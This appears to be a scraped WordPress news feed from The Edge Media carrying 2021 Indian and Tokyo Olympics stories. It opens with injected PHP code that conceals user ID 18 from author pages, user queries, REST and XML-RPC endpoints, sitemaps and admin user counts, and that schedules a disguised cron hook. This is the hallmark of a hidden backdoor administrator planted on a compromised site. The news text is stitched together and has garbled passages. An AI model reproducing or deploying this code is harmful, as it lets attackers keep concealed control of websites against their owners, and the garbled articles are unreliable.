add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post The Union environment ministry notifies the Plastic Waste Management Amendment Rules, 2021 appeared first on The Edge Media.
]]>At the 4th United Nations Environment Assembly held in 2019, India moved a resolution on addressing single-use plastic products pollution by 2022. Prime Minister Narendra Modi called on people to stop the use of single-use plastic bags in his Independence Day speech in 2019.
The manufacture, import, stocking, distribution, sale, and use of some single-use plastic products including polystyrene and expanded polystyrene shall be prohibited from July 1, 2022. These include earbuds with plastic sticks, plastic sticks for balloons, plastic flags, candy sticks, ice-cream sticks, polystyrene for decoration, plates, cups, glasses, cutlery such as forks, spoons, knives, straw, trays, wrapping or packing films used for sweet boxes, invitation cards, and cigarette packets, plastic or PVC banners less than 100 micron and stirrers.
From September 30, 2021, the thickness of plastic carry bags will be increased from 50 microns to 75 microns and 120 microns. This will also allow the reuse of plastic carry bags due to an increase in thickness, an environment ministry statement said.
The plastic packaging waste, which is not covered under the phase-out of identified single-use plastic items, shall be collected and managed in an environmentally sustainable way by producers, importers, and brand owners as per the Plastic Waste Management Rules, 2016. For effective implementation of Extended Producer Responsibility, the guidelines for it are being brought out and have been given legal force through Plastic Waste Management Amendment Rules, 2021, the ministry said in the statement.
The post The Union environment ministry notifies the Plastic Waste Management Amendment Rules, 2021 appeared first on The Edge Media.
]]>The post Dharmendra Pradhan introduces the Central Universities (Amendment) Bill, 2021 appeared first on The Edge Media.
]]>Dharmendra Pradhan introduced the Central Universities (Amendment) Bill, 2021 amid a din by opposition members over the Pegasus spying row and farmers’ issue.
Opposition leaders opposed the introduction of the bill with Congress member Manish Tewari saying that there is a time-honoured convention of the House that till the time the House is not in order no legislation can be discussed. “What is happening is completely unconstitutional, it is murder of democracy,” he said.
According to the Statement of Objects and Reasons of the bill, piloted by Mr Pradhan, at present there is no central university in Ladakh and therefore, the government has decided to establish a new central university there to ensure increase in accessibility and quality of higher education, and to facilitate and promote avenues of higher education and research for the people of the Union territory.
This shall also cater to the regional aspirations for years to come, it said. According to the statement of objects, the bill seeks to amend the Central Universities Act, 2009, to provide for the establishment of a University in the name of “Sindhu Central University” in Ladakh.
The Union Cabinet had last month approved the establishment of a central university and an integrated multi-purpose infrastructure development corporation for Ladakh.
The decisions to set up the central university at a cost of Rs 750 crore and the corporation with a fund of Rs 25 crore for Ladakh had been taken at a meeting of the Union Cabinet chaired by the prime minister.
Information and Broadcasting Minister Anurag Thakur had said at a media briefing that the university will be set up with a total outlay of Rs 750 crore and will cater to all areas of Ladakh that include Leh and Kargil.
Mr Thakur had said the university will help reduce the imbalance in the region on the education sector and students of Ladakh to get quality higher education opportunities.
It will help in intellectual development and better higher education and will help improve the quality of education, Mr Thakur had said.
(Except for the headline, this story has not been edited by The Edge Media staff and is published from a syndicated feed.)
The post Dharmendra Pradhan introduces the Central Universities (Amendment) Bill, 2021 appeared first on The Edge Media.
]]>The post Tokyo Olympics : Malaika Mihambo wins long jump gold. appeared first on The Edge Media.
]]>Mihambo was laying in the bronze medal position ahead of her final jump, but powered down the runaway to register a season-best jump of 7.00 metres.
That left 2012 Olympic champion reese– who had led the competition with a best jump of 6.97m– with one final attempt to reclaim the lead.
But the American could only manage 6.84 with her last leap to settle for silver.
Nigeria’s Ese Brune took the bronze medal with a best jump of 6.97m.
The post Tokyo Olympics : Malaika Mihambo wins long jump gold. appeared first on The Edge Media.
]]>The post No security clearance for passport for stone pelters : J&K Police. appeared first on The Edge Media.
]]>An order was issued by SSP-CID (Special Branch) kashmir, directed all field units under it to ensure that a person’s involvement in law and order and stone pelting cases and other crime/s “Prejudicial to the security of the states” be specially looked into during the verification process. “The same must be corroborated from the local police station records,” the order read.
The SSP also said digital evidence like CCTV footage, photographs , videos and audio clips and quadcopter images available in the records of police, security forces and security agencies be also referred during the verification process.
The post No security clearance for passport for stone pelters : J&K Police. appeared first on The Edge Media.
]]>The post India’s PV Sindhu enters the quarter final , Tokyo Olympics. appeared first on The Edge Media.
]]>The 26-year-old indian , who won silver in the 2016 Rio Olympics, notched up a 21-15-21-13 win over the 13th seed blichfeldt in a 41-minute match.
Sindu will next face the winner of the match between Akane Yamaguchi of Japan and Korea’s Kim Gaeun.
Sindu played some jaw-dropping shots, especially the crosscourt drop shots and was particularly good at the drop shots near the net. The Danish didn’t help her own cause as she made several errors in her serves making sinfu’s task even more easier.
The post India’s PV Sindhu enters the quarter final , Tokyo Olympics. appeared first on The Edge Media.
]]>The post US Gymnast Simone Biles withdrew from the Olympics to Focus on Mental Health. appeared first on The Edge Media.
]]>“Simone will continue to be evaluated daily to determine whether or not to participate in next weeks ‘ individual event finals.
On Wednesday , Simone Biles abandoned the defence of her individual all-around Olympic crown , a day after her withdrawal from the women’s team final over mental health concerns.
“We wholeheartedly support Simone’s decision and applaud her bravery in prioritising her well-being. Her courage shows, yet again , why she is a role model for so much money.”
The post US Gymnast Simone Biles withdrew from the Olympics to Focus on Mental Health. appeared first on The Edge Media.
]]>The post Tropical storm nears Japan, Disrupting Tokyo Olympics. appeared first on The Edge Media.
]]>Olympic organisers have rescheduled rowing and archery over concerns about high winds from Tropical Storm Nepartak, which is packing gusts of up to 108 kilometres (67 miles) an hour.
The Storm, currently around 190 kilometres east of Choshi city , was originally headed for Tokyo, but has shifted north and is now expected to make landfall around the Miyagi region early on Wednesday.
“Games in Miyagi and Ibaraki will be held as scheduled. We expect spectators to come watch too,” Tokyo 2020 spokesman Masa Takaya told reporters.
The post Tropical storm nears Japan, Disrupting Tokyo Olympics. appeared first on The Edge Media.
]]>The post Government paves new liberalised set of rules for drone usage. appeared first on The Edge Media.
]]>The aviation ministry has sought public comments on a much simplified “Drone rules, 2021” till August 5. After taking the comments into consideration, the final rules are expected to be issued the stricter UAS rules.
Coming after the Jammu airport attack, these changes indicate that while the government takes steps to counter rogue drones, it was willing to allow the technology to achieve its potential.
Under new rules, manufacturers may generate their drone’s unique identification number on the digital sky platform through the self-certification route.
The post Government paves new liberalised set of rules for drone usage. appeared first on The Edge Media.
]]>The post No Chief Guest this time on Republic Day, for the first time since 1966 appeared first on The Edge Media.
]]>Please tell that the British Prime Minister Boris Johnson was the chief guest on the occasion of Republic Day this year. He later canceled his tour to India. Boris Johnson canceled the tour to India due to Corona’s new strain. Boris Johnson also regretted his decision for not coming on Republic Day. He spoke to Prime Minister Modi and regretted not coming to India. Speaking to the PM, Boris Johnson said that the speed with which the new Corona virus is spreading in Britain is important for them to stay in Britain, so that they can focus on the domestic response to the virus.This will be the fourth time when there will be no Chief Guest in the Republic Day celebrations of India. This has happened before in 1952, 1953 and 1966. At the same time, there were many occasions when two or two guests also attended the Republic Day celebrations of the country. In 1956, 1968 and 1974, two chief guests attended. At the same time, in the year 2018, 10 Asian countries attended the Republic Day celebrations as the chief guests. This was the first time that the heads of so many countries had participated in the 26 January parade.
In view of corona infection, the program of 26 January will also be celebrated along with simplicity and corona protocol. The new strain of Corona is also raising concern in India. The situation in Britain has become very serious. The daily infection figures and death toll have gone above the previous record. This is the reason why the lockdown has been imposed in Britain for the third time despite the introduction of vaccination.
The post No Chief Guest this time on Republic Day, for the first time since 1966 appeared first on The Edge Media.
]]>The post WHO Chief Scientist: “Fair Distribution Of COVID-19 Vaccine Without Rich Countries Cornering The Limited Doses Is A Challenge.” appeared first on The Edge Media.
]]>On vaccine development for the novel corona virus, she said: “By early 2021, we should have some good news.” Then, there is the big challenge of being able to scale, distribute and allocate fairly around the world without letting the rich countries corner the limited doses”, Swaminathan said.
She said that India is in a good position because many companies are working on vaccine development, either on their own or in collaboration, she said, adding, the country is a manufacturing hub for vaccines. The pandemic has exacerbated inequalities, and it has proved to be a learning opportunity to improve resilience and strengthen public health systems, according to her.
– PTI
The post WHO Chief Scientist: “Fair Distribution Of COVID-19 Vaccine Without Rich Countries Cornering The Limited Doses Is A Challenge.” appeared first on The Edge Media.
]]>